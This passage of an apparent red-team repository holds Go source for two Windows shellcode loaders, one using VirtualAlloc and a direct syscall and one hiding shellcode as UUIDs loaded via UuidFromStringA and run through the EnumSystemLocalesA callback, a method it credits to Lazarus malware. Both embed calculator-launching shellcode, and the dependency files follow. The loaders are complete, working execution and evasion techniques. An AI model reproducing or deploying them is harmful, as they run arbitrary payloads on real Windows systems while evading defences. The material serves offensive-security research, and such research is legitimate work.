6 | 2. Use the RtlCopyMemory macro to copy the shellcode to the allocated memory space
7 | 3. Change the memory page permissions to Execute/Read with VirtualProtect
8 | 4. Use syscall to execute the entrypoint of the shellcode
9 |
10 | This program loads the DLLs and gets a handle to the used procedures itself instead of using the windows package directly.
11 | */
12 |
13 | package main
14 |
15 | import (
16 | "encoding/hex"
17 | "flag"
18 | "fmt"
19 | "log"
20 | "syscall"
21 | "unsafe"
22 |
23 | // Sub Repositories
24 | "golang.org/x/sys/windows"
25 | )
26 |
27 | const (
28 | // MEM_COMMIT is a Windows constant used with Windows API calls
29 | MEM_COMMIT = 0x1000
30 | // MEM_RESERVE is a Windows constant used with Windows API calls
31 | MEM_RESERVE = 0x2000
32 | // PAGE_EXECUTE_READ is a Windows constant used with Windows API calls
33 | PAGE_EXECUTE_READ = 0x20
34 | // PAGE_READWRITE is a Windows constant used with Windows API calls
35 | PAGE_READWRITE = 0x04
36 | )
37 |
38 | func main() {
39 | verbose := flag.Bool("verbose", false, "Enable verbose output")
40 | debug := flag.Bool("debug", false, "Enable debug output")
41 | flag.Parse()
42 |
43 | // Pop Calc Shellcode
44 | shellcode, errShellcode := hex.DecodeString("505152535657556A605A6863616C6354594883EC2865488B32488B7618488B761048AD488B30488B7E3003573C8B5C17288B741F204801FE8B541F240FB72C178D5202AD813C0757696E4575EF8B741F1C4801FE8B34AE4801F799FFD74883C4305D5F5E5B5A5958C3")
45 | if errShellcode != nil {
46 | log.Fatal(fmt.Sprintf("[!]there was an error decoding the string to a hex byte array: %s", errShellcode.Error()))
47 | }
48 |
49 | if *debug {
50 | fmt.Println("[DEBUG]Loading kernel32.dll and ntdll.dll")
51 | }
52 | kernel32 := windows.NewLazySystemDLL("kernel32.dll")
53 | ntdll := windows.NewLazySystemDLL("ntdll.dll")
54 |
55 | if *debug {
56 | fmt.Println("[DEBUG]Loading VirtualAlloc, VirtualProtect and RtlCopyMemory procedures")
57 | }
58 | VirtualAlloc := kernel32.NewProc("VirtualAlloc")
59 | VirtualProtect := kernel32.NewProc("VirtualProtect")
60 | RtlCopyMemory := ntdll.NewProc("RtlCopyMemory")
61 |
62 | if *debug {
63 | fmt.Println("[DEBUG]Calling VirtualAlloc for shellcode")
64 | }
65 | addr, _, errVirtualAlloc := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE)
66 |
67 | if errVirtualAlloc != nil && errVirtualAlloc.Error() != "The operation completed successfully." {
68 | log.Fatal(fmt.Sprintf("[!]Error calling VirtualAlloc:\r\n%s", errVirtualAlloc.Error()))
69 | }
70 |
71 | if addr == 0 {
72 | log.Fatal("[!]VirtualAlloc failed and returned 0")
73 | }
74 |
75 | if *verbose {
76 | fmt.Println(fmt.Sprintf("[-]Allocated %d bytes", len(shellcode)))
77 | }
78 |
79 | if *debug {
80 | fmt.Println("[DEBUG]Copying shellcode to memory with RtlCopyMemory")
81 | }
82 | _, _, errRtlCopyMemory := RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
83 |
84 | if errRtlCopyMemory != nil && errRtlCopyMemory.Error() != "The operation completed successfully." {
85 | log.Fatal(fmt.Sprintf("[!]Error calling RtlCopyMemory:\r\n%s", errRtlCopyMemory.Error()))
86 | }
87 | if *verbose {
88 | fmt.Println("[-]Shellcode copied to memory")
89 | }
90 |
91 | if *debug {
92 | fmt.Println("[DEBUG]Calling VirtualProtect to change memory region to PAGE_EXECUTE_READ")
93 | }
94 |
95 | oldProtect := PAGE_READWRITE
96 | _, _, errVirtualProtect := VirtualProtect.Call(addr, uintptr(len(shellcode)), PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect)))
97 | if errVirtualProtect != nil && errVirtualProtect.Error() != "The operation completed successfully." {
98 | log.Fatal(fmt.Sprintf("Error calling VirtualProtect:\r\n%s", errVirtualProtect.Error()))
99 | }
100 | if *verbose {
101 | fmt.Println("[-]Shellcode memory region changed to PAGE_EXECUTE_READ")
102 | }
103 |
104 | if *debug {
105 | fmt.Println("[DEBUG]Executing Shellcode")
106 | }
107 | _, _, errSyscall := syscall.Syscall(addr, 0, 0, 0, 0)
108 |
109 | if errSyscall != 0 {
110 | log.Fatal(fmt.Sprintf("[!]Error executing shellcode syscall:\r\n%s", errSyscall.Error()))
111 | }
112 | if *verbose {
113 | fmt.Println("[+]Shellcode Executed")
114 | }
115 | }
116 |
117 | // export GOOS=windows GOARCH=amd64;go build -o goSyscall.exe cmd/Syscall/main.go
118 |
--------------------------------------------------------------------------------
/cmd/UuidFromString/main.go:
--------------------------------------------------------------------------------
1 | // +build windows
2 |
3 | // Concept pulled from https://research.nccgroup.com/2021/01/23/rift-analysing-a-lazarus-shellcode-execution-method/
4 |
5 | /*
6 | This program executes shellcode in the current process using the following steps:
7 | 1. Create a Heap and allocate space
8 | 2. Convert shellcode into an array of UUIDs
9 | 3. Load the UUIDs into memory (on the allocated heap) by (ab)using the UuidFromStringA function
10 | 4. Execute the shellcode by (ab)using the EnumSystemLocalesA function
11 | */
12 |
13 | // Reference: https://blog.securehat.co.uk/process-injection/shellcode-execution-via-enumsystemlocala
14 |
15 | package main
16 |
17 | import (
18 | // Standard
19 | "bytes"
20 | "encoding/binary"
21 | "encoding/hex"
22 | "flag"
23 | "fmt"
24 | "log"
25 | "unsafe"
26 |
27 | // Sub Repositories
28 | "golang.org/x/sys/windows"
29 |
30 | // 3rd Party
31 | "github.com/google/uuid"
32 | )
33 |
34 | func main() {
35 | verbose := flag.Bool("verbose", false, "Enable verbose output")
36 | debug := flag.Bool("debug", false, "Enable debug output")
37 | flag.Parse()
38 |
39 | // Pop Calc Shellcode
40 | shellcode, err := hex.DecodeString("505152535657556A605A6863616C6354594883EC2865488B32488B7618488B761048AD488B30488B7E3003573C8B5C17288B741F204801FE8B541F240FB72C178D5202AD813C0757696E4575EF8B741F1C4801FE8B34AE4801F799FFD74883C4305D5F5E5B5A5958C3")
41 | if err != nil {
42 | log.Fatal(fmt.Sprintf("[!]there was an error decoding the string to a hex byte array: %s", err))
43 | }
44 |
45 | // Convert shellcode to UUIDs
46 | if *debug {
47 | fmt.Println("[DEBUG]Converting shellcode to slice of UUIDs")
48 | }
49 |
50 | uuids, err := shellcodeToUUID(shellcode)
51 | if err != nil {
52 | log.Fatal(err.Error())
53 | }
54 |
55 | if *debug {
56 | fmt.Println("[DEBUG]Loading kernel32.dll & Rpcrt4.dll")
57 | }
58 | kernel32 := windows.NewLazySystemDLL("kernel32")
59 | rpcrt4 := windows.NewLazySystemDLL("Rpcrt4.dll")
60 |
61 | if *debug {
62 | fmt.Println("[DEBUG]Loading HeapCreate, HeapAlloc, EnumSystemLocalesA, and UuidToStringA procedures")
63 | }
64 | heapCreate := kernel32.NewProc("HeapCreate")
65 | heapAlloc := kernel32.NewProc("HeapAlloc")
66 | enumSystemLocalesA := kernel32.NewProc("EnumSystemLocalesA")
67 | uuidFromString := rpcrt4.NewProc("UuidFromStringA")
68 |
69 | /* https://docs.microsoft.com/en-us/windows/win32/api/heapapi/nf-heapapi-heapcreate
70 | HANDLE HeapCreate(
71 | DWORD flOptions,
72 | SIZE_T dwInitialSize,
73 | SIZE_T dwMaximumSize
74 | );
75 | HEAP_CREATE_ENABLE_EXECUTE = 0x00040000
76 | */
77 |
78 | // Create the heap
79 | // HEAP_CREATE_ENABLE_EXECUTE = 0x00040000
80 | heapAddr, _, err := heapCreate.Call(0x00040000, 0, 0)
81 | if heapAddr == 0 {
82 | log.Fatal(fmt.Sprintf("there was an error calling the HeapCreate function:\r\n%s", err))
83 |
84 | }
85 |
86 | if *verbose {
87 | fmt.Println(fmt.Sprintf("Heap created at: 0x%x", heapAddr))
88 | }
89 |
90 | /* https://docs.microsoft.com/en-us/windows/win32/api/heapapi/nf-heapapi-heapalloc
91 | DECLSPEC_ALLOCATOR LPVOID HeapAlloc(
92 | HANDLE hHeap,
93 | DWORD dwFlags,
94 | SIZE_T dwBytes
95 | );
96 | */
97 |
98 | // Allocate the heap
99 | addr, _, err := heapAlloc.Call(heapAddr, 0, 0x00100000)
100 | if addr == 0 {
101 | log.Fatal(fmt.Sprintf("there was an error calling the HeapAlloc function:\r\n%s", err))
102 | }
103 |
104 | if *verbose {
105 | fmt.Println(fmt.Sprintf("Heap allocated: 0x%x", addr))
106 | }
107 |
108 | if *debug {
109 | fmt.Println("[DEBUG]Iterating over UUIDs and calling UuidFromStringA...")
110 | }
111 |
112 | /*
113 | RPC_STATUS UuidFromStringA(
114 | RPC_CSTR StringUuid,
115 | UUID *Uuid
116 | );
117 | */
118 |
119 | addrPtr := addr
120 | for _, uuid := range uuids {
121 | // Must be a RPC_CSTR which is null terminated
122 | u := append([]byte(uuid), 0)
123 |
124 | // Only need to pass a pointer to the first character in the null terminated string representation of the UUID
125 | rpcStatus, _, err := uuidFromString.Call(uintptr(unsafe.Pointer(&u[0])), addrPtr)
126 |
127 | // RPC_S_OK = 0
128 | if rpcStatus != 0 {
129 | log.Fatal(fmt.Sprintf("There was an error calling UuidFromStringA:\r\n%s", err))
130 | }
131 |
132 | addrPtr += 16
133 | }
134 | if *verbose {
135 | fmt.Println("Completed loading UUIDs to memory with UuidFromStringA")
136 | }
137 |
138 | /*
139 | BOOL EnumSystemLocalesA(
140 | LOCALE_ENUMPROCA lpLocaleEnumProc,
141 | DWORD dwFlags
142 | );
143 | */
144 |
145 | // Execute Shellcode
146 | if *debug {
147 | fmt.Println("[DEBUG]Calling EnumSystemLocalesA to execute shellcode")
148 | }
149 | ret, _, err := enumSystemLocalesA.Call(addr, 0)
150 | if ret == 0 {
151 | log.Fatal(fmt.Sprintf("EnumSystemLocalesA GetLastError: %s", err))
152 | }
153 | if *verbose {
154 | fmt.Println("Executed shellcode")
155 | }
156 |
157 | }
158 |
159 | // shellcodeToUUID takes in shellcode bytes, pads it to 16 bytes, breaks them into 16 byte chunks (size of a UUID),
160 | // converts the first 8 bytes into Little Endian format, creates a UUID from the bytes, and returns an array of UUIDs
161 | func shellcodeToUUID(shellcode []byte) ([]string, error) {
162 |
163 | // Pad shellcode to 16 bytes, the size of a UUID
164 | if 16-len(shellcode)%16 < 16 {
165 | pad := bytes.Repeat([]byte{byte(0x90)}, 16-len(shellcode)%16)
166 | shellcode = append(shellcode, pad...)
167 | }
168 |
169 | var uuids []string
170 |
171 | for i := 0; i < len(shellcode); i += 16 {
172 | var uuidBytes []byte
173 |
174 | // This seems unecessary or overcomplicated way to do this
175 |
176 | // Add first 4 bytes
177 | buf := make([]byte, 4)
178 | binary.LittleEndian.PutUint32(buf, binary.BigEndian.Uint32(shellcode[i:i+4]))
179 | uuidBytes = append(uuidBytes, buf...)
180 |
181 | // Add next 2 bytes
182 | buf = make([]byte, 2)
183 | binary.LittleEndian.PutUint16(buf, binary.BigEndian.Uint16(shellcode[i+4:i+6]))
184 | uuidBytes = append(uuidBytes, buf...)
185 |
186 | // Add next 2 bytes
187 | buf = make([]byte, 2)
188 | binary.LittleEndian.PutUint16(buf, binary.BigEndian.Uint16(shellcode[i+6:i+8]))
189 | uuidBytes = append(uuidBytes, buf...)
190 |
191 | // Add remaining
192 | uuidBytes = append(uuidBytes, shellcode[i+8:i+16]...)
193 |
194 | u, err := uuid.FromBytes(uuidBytes)
195 | if err != nil {
196 | return nil, fmt.Errorf("there was an error converting bytes into a UUID:\n%s", err)
197 | }
198 |
199 | uuids = append(uuids, u.String())
200 | }
201 | return uuids, nil
202 | }
203 |
204 | // export GOOS=windows GOARCH=amd64;go build -o UuidFromString.exe cmd/UuidFromString/main.go
205 |
--------------------------------------------------------------------------------
/go.mod:
--------------------------------------------------------------------------------
1 | module github.com/Ne0nd0g/go-shellcode
2 |
3 | go 1.14
4 |
5 | require (
6 | github.com/fatih/color v1.9.0
7 | github.com/google/uuid v1.2.0
8 | golang.org/x/crypto v0.0.0-20200427165652-729f1e841bcc
9 | golang.org/x/sys v0.0.0-20200302150141-5c8b2ff67527
10 | )
11 |
--------------------------------------------------------------------------------
/go.sum:
--------------------------------------------------------------------------------
1 | github.com/fatih/color v1.9.0 h1:8xPHl4/q1VyqGIPif1F+1V3Y3lSmrq01EabUW3CoW5s=
2 | github.com/fatih/color v1.9.0/go.mod h1:eQcE1qtQxscV5RaZvpXrrb8Drkc3/DdQ+uUYCNjL+zU=
3 | github.com/google/uuid v1.2.0 h1:qJYtXnJRWmpe7m/3XlyhrsLrEURqHRM2kxzoxXqyUDs=
4 | github.com/google/uuid v1.2.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
5 | github.com/mattn/go-colorable v0.1.4 h1:snbPLB8fVfU9iwbbo30TPtbLRzwWu6aJS6Xh4eaaviA=
6 | github.com/mattn/go-colorable v0.1.4/go.mod h1:U0ppj6V5qS13XJ6of8GYAs25YV2eR4EVcfRqFIhoBtE=
7 | github.com/mattn/go-isatty v0.0.8/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s=
8 | github.com/mattn/go-isatty v0.0.11 h1:FxPOTFNqGkuDUGi3H/qkUbQO4ZiBa2brKq5r0l8TGeM=
9 | github.com/mattn/go-isatty v0.0.11/go.mod h1:PhnuNfih5lzO57/f3n+odYbM4JtupLOxQOAqxQCu2WE=
10 | golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
11 | golang.org/x/crypto v0.0.0-20200427165652-729f1e841bcc h1:ZGI/fILM2+ueot/UixBSoj9188jCAxVHEZEGhqq67I4=
12 | golang.org/x/crypto v0.0.0-20200427165652-729f1e841bcc/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto=
13 | golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
14 | golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
15 | golang.org/x/sys v0.0.0-20190222072716-a9d3bda3a223/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
16 | golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
17 | golang.org/x/sys v0.0.0-20191026070338-33540a1f6037 h1:YyJpGZS1sBuBCzLAR1VEpK193GlqGZbnPFnPV/5Rsb4=
18 | golang.org/x/sys v0.0.0-20191026070338-33540a1f6037/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
19 | golang.org/x/sys v0.0.0-20200302150141-5c8b2ff67527 h1:uYVVQ9WP/Ds2ROhcaGPeIdVq0RIXVLwsHlnvJ+cT1So=
20 | golang.org/x/sys v0.0.0-20200302150141-5c8b2ff67527/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
21 | golang.org/x/text v0.3.0 h1:g61tztE5qeGQ89tm6NTjjM9VPIm088od1l6aSorWRWg=
22 | golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
23 |
--------------------------------------------------------------------------------